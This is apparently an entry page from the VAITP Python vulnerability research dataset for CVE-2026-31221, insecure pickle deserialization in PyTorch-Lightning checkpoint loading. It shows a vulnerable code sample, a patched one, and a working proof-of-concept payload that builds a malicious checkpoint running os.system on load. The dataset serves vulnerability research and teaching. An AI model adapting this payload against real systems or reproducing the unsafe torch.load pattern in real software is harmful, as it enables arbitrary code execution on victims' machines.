VAITP Dataset

← Back to the dataset

CVE-2026-31221

Insecure deserialization in PyTorch-Lightning checkpoint loading allows RCE.

  • CVSS 7.8
  • CWE-502
  • Input Validation and Sanitization
  • Remote

PyTorch-Lightning versions 2.6.0 and earlier contain an insecure deserialization vulnerability (CWE-502) in the checkpoint loading mechanism. The LightningModule.load_from_checkpoint() method, which is commonly used to load saved model states, internally calls torch.load() without setting the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted checkpoint file, leading to arbitrary code execution on the victim's system when the file is loaded.

CVE
CVE-2026-31221
CWE
CWE-502
CVSS base score
7.8
Published
2026-05-12
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
PyTorch-Ligh
Fixed by upgrading
Yes

Solution

Upgrade PyTorch-Lightning to version 2.7.0 or later.

Vulnerable code sample

import torch
import torch.nn as nn
from typing import Any, Dict, Type

# This is a simplified representation for demonstration purposes.
# The actual class is in the pytorch_lightning library.
class LightningModule(nn.Module):
    def __init__(self, *args: Any, **kwargs: Any):
        super().__init__()
        # In a real module, layers would be defined here.
        self.layer = nn.Linear(10, 1)

    def load_state_dict(self, state_dict: Dict[str, Any], strict: bool = True):
        # Placeholder for the actual state dict loading logic.
        super().load_state_dict(state_dict, strict)

    @classmethod
    def load_from_checkpoint(
        cls: Type["LightningModule"],
        checkpoint_path: str,
        *args: Any,
        **kwargs: Any,
    ) -> "LightningModule":
        """
        Vulnerable version of the checkpoint loading method.
        """
        # The vulnerability is in this call to torch.load().
        # By default, it uses Python's pickle module, which is not secure.
        # It can deserialize arbitrary objects, leading to code execution.
        # The `weights_only=True` parameter, which would make this safe, is absent.
        checkpoint = torch.load(checkpoint_path)

        # The function would then proceed to instantiate the model and load the weights.
        model = cls(*args, **kwargs)
        model.load_state_dict(checkpoint["state_dict"])
        
        return model

Patched code sample

import torch
from typing import Any, Optional

def fixed_load_from_checkpoint(
    checkpoint_path: str,
    map_location: Optional[Any] = None,
    **kwargs: Any,
) -> dict:
    """
    This function demonstrates the fix for the insecure deserialization
    vulnerability. The original vulnerable code called `torch.load()`
    without the `weights_only` parameter.

    The fix is to enforce `weights_only=True` during deserialization.
    """
    # The vulnerable code would have called torch.load like this:
    # checkpoint = torch.load(checkpoint_path, map_location=map_location)

    # THE FIX: Add `weights_only=True` to the torch.load call.
    # This parameter restricts deserialization to only tensors and a few safe
    # primitive types. It prevents the unpickling of arbitrary Python
    # objects, which is the root cause of the code execution vulnerability.
    checkpoint = torch.load(
        checkpoint_path,
        map_location=map_location,
        weights_only=True
    )

    # In a real application, the code would continue here to instantiate a
    # model and load the state dictionary from the now-safe 'checkpoint' object.
    # For this example, we simply return the loaded data.
    return checkpoint

Payload

import os
import torch
import pickle

class Exploit:
    def __reduce__(self):
        command = "touch /tmp/pwned"
        return (os.system, (command,))

malicious_checkpoint = {
    "state_dict": {
        "malicious_object": Exploit()
    }
}

torch.save(malicious_checkpoint, "malicious.ckpt")

Cite this entry

@misc{vaitp:cve202631221,
  title        = {{Insecure deserialization in PyTorch-Lightning checkpoint loading allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31221},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31221/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::